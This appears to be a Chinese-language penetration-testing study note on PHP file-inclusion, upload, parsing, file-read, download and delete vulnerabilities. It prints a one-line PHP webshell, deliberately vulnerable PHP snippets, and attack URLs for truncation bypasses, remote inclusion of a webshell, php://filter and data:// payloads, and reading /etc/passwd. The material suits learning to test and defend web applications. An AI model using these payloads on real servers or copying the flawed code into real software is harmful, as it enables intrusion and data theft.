本文最后更新于 2025-01-19,文章内容可能已经过时。

文件包含漏洞

什么叫包含呢?以 PHP 为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

产生原因:开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用。正是这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

文件包含漏洞利用的前提条件:
(1)web 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参数的方式引入;
(2)用户能够控制包含文件的参数,被包含的文件可被当前页面访问;

上传操作流程

客户端上传 --> 浏览器校验 --> 服务器的临时存放路径 --> 操作系统检测 --> 开始移动路径

我们可以在文件上传

webshell 分类

大马

  • 体积大,功能全

  • 会调用系统的关键函数

  • 以代码加密进行隐藏

小马

  • 体积小功能少

  • 只有一个上传功能

一句话木马

  • 基于 PHP,通过一句话木马执行 PHP 语句,进而获取信息

<?php @eval($_REQUEST[123]);?>
assert()
# 123为密码

内存马

JavaWeb 内存马

文件头

图片马

本地文件包含

常见的文件包含函数

include()、require()、include_once()、require_once()

  • include() 包含的内容出错,脚本还会正常执行

  • require() 当包含内容出错,脚本终止执行

  • Require_once():与 include() 类似会产生警告,区别是如果该文件的代码已经被包含,则不会再次被包含;

  • include_once(): 与 include() 类似会产生警告,区别是如果该文件的代码已经被包含,则不会再次被包含;

无限制文件包含

<?php
    $file=$_GET['file']
    require "$file";        //无限制文件包含

http://127.0.0.1/files/file.php?file=eval.php		【code=phpinfo();】
http://127.0.0.1/files/file.php?file=2.html

有限制文件包含

# 有限制文件包含
<?php
    $file=$_GET['file'];
    include($file . '.' . "html");     //有限制文件包含
    //require "$file";        //无限制文件包含

http://127.0.0.1/files/file.php?file=2

相对路径:../../../../../

绝对路径:完整路径名

如何去区分当前站点所属的环境是 Windows 还是 Linux(尝试大小写是否敏感)

敏感路径文件等:https://github.com/carlospolop/Auto_Wordlists/

文件包含绕过

截断

要求:php5.3.x

00 截断:

  • %00

  • %23

  • %20

长度截断:

这种方法类似与 waf 绕过过程中的垃圾数据填充的方法。利用垃圾数据进行填充,达到对应服务器系统文件命名的最大长度,从而将「.html」挤出,让其无法添加。只需在文件末尾添加类似「/./././././././.·····」、「..........·····」等的垃圾数据来将后面的「.html」挤出。

  • windows. 点号需要长于 250

  • linux. 点号需要长于 4096

假设目标服务器为 127.0.0.1,一句话木马在 127.0.0.2

本地文件包含

# 无限制文件包含
http://web2/file_class/file_incluDe.php?file=./eval.php	【code=phpinfo();】
http://web2/file_class/file_incluDe.php?file=1.html


# 有限制文件包含
http://web2/file_class/file_include_limit.php?file=1

远程包含

利用远程包含可以无需在服务器中写入文件直接获取 webshell

# 无限制文件包含
http://127.0.0.1/filEs/file.php?file=https://127.0.0.2/demo.php

# 有限制文件包含
可以使用00截断
http://127.0.0.1/filEs/file.php?file=https://127.0.0.2/demo.php%23

php 伪协议

一些常见协议

File:    // 访问本地文件系统
http:    // 访问 HTTPs 网址
ftp:     // 访问 ftp URL
Php:     // 访问输入输出流
Zlib:    // 压缩流
Data:    // 数据
phar:    // — PHP 归档
Ssh2:    // security shell2
Expect:  // 处理交互式的流
Glob:    // 查找匹配的文件路径
rar:     // — RAR
ogg:     // — 音频流

利用示例

http://web2/file_class/bypass/file_pseudo-protocol.php?filename=file://c:\\windows\\win.ini


http://web2/file_class/bypass/filter_pseudo-protocol.php?filename=php://filter/convert.base64-encode/resource=filter_pseudo-protocol.php
http://web2/file_class/bypass/filter_pseudo-protocol.php?filename=php://filter/read=convert.base64-encode/resource=../eval.php


http://web2/file_class/bypass/data_pseudo-protocol.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

漏洞挖掘

在实际的渗透测试中,需要关注 URL 的一些参数。如果 URL 当中存在一些诸如 file、path 等参数的时候,且这些参数可控,就可以尝试利用这些参数来下载目标服务器上指定可下载文件以外的其他文件,如 /etc/hosts、/etc/passwd 等,成功下载其他文件即表示漏洞存在。 file、path、data、filepath、readfile、data、url、realpath 是文件下载漏洞的特征参数,在渗透测试的时候要重点关注这些参数。

文件解析漏洞

IIS 解析漏洞

IIS5.X/IIS6.0 版本解析漏洞

前提:开启 Active Server Pages 服务拓展 (一般情况下都是开启的)

目录解析:以 *.asp 命名的文件夹里的文件都将会被当成 ASP 文件执行。

文件解析:*.asp;.jpg 像这种畸形文件名在「;」后面的直接被忽略,也就是说当成 *.asp 文件执行。

扩展名解析:IIS6.0 默认解析 asp 的格式增加了 asa、cer、cdx

Apache 解析漏洞

前提:开启 Active Server Pages 服务拓展 (一般情况下都是开启的)

多后缀名

Apache 默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在 mime.types 文件内),则继续向左识别,直到识别到合法后缀才进行解析。

罕见后缀

后缀名为 php3、php5、phtml 也能执行 php 脚本

htaccess 文件

Apache 特有的配置文件

换行解析漏洞

影响版本 2.4.0~2.4.29,在解析 PHP 时,1.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略

Nginx 解析漏洞

Nginx 文件名逻辑漏洞(CVE-2013-4547)

影响版本:Nginx 0.8.41~1.4.3 / 1.5.0~1.5.7,1.jpg[0x20][0x00].php 会匹配为 php 文件 (0x20 为空格,0x00 是 null)

用户配置不当导致

该漏洞与 nginx,php 的版本无关,这是由于 php 中的选项 cgi.fix_pathinfo 默认值为 1,表示开启;nginx 看到.php 结尾的文件就交给 php 处理,而不先判断文件是否存在,这一点 IIS 与 nginx 是一样的。

00 截断解析

影响版本:0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37,访问 URL+%00.php 即可执行其中的 php 代码,如 www.x.com/1.jpg%00.php

文件读取漏洞

与文件包含类似

<?php
$filename=$_GET['filename'];
echo file_get_contents($filename);
?>

http://127.0.0.1/files/file_get_contents.php?filename=eval.php
view-source:http://127.0.0.1/files/file_get_contents.php?filename=eval.php

文件下载漏洞

任意

<?php
    $filename = $_GET['filename'];
    echo '<h1>开始下载文件!</h1><br /><br />';
    echo file_get_contents($filename);

    header('Content-Type: imgage/jpeg');
    header('Content-Disposition: attachment; filename='.$filename);
    header('Content-Lengh: '.filesize($filename));
?>

http://127.0.0.1/files/get_file.php?filename=123.txt

文件删除漏洞

<?php
    header("Content-Type:text/html;charset=utf-8");
    $filename = $_GET['file'];
    if(file_exists($filename)){
        unlink($filename);
        echo "<script>alert('删除成功')</script>";
    }else{
        echo "<script>alert('删除失败')</script>";
    }

http://127.0.0.1/files/del.php?file=123.txt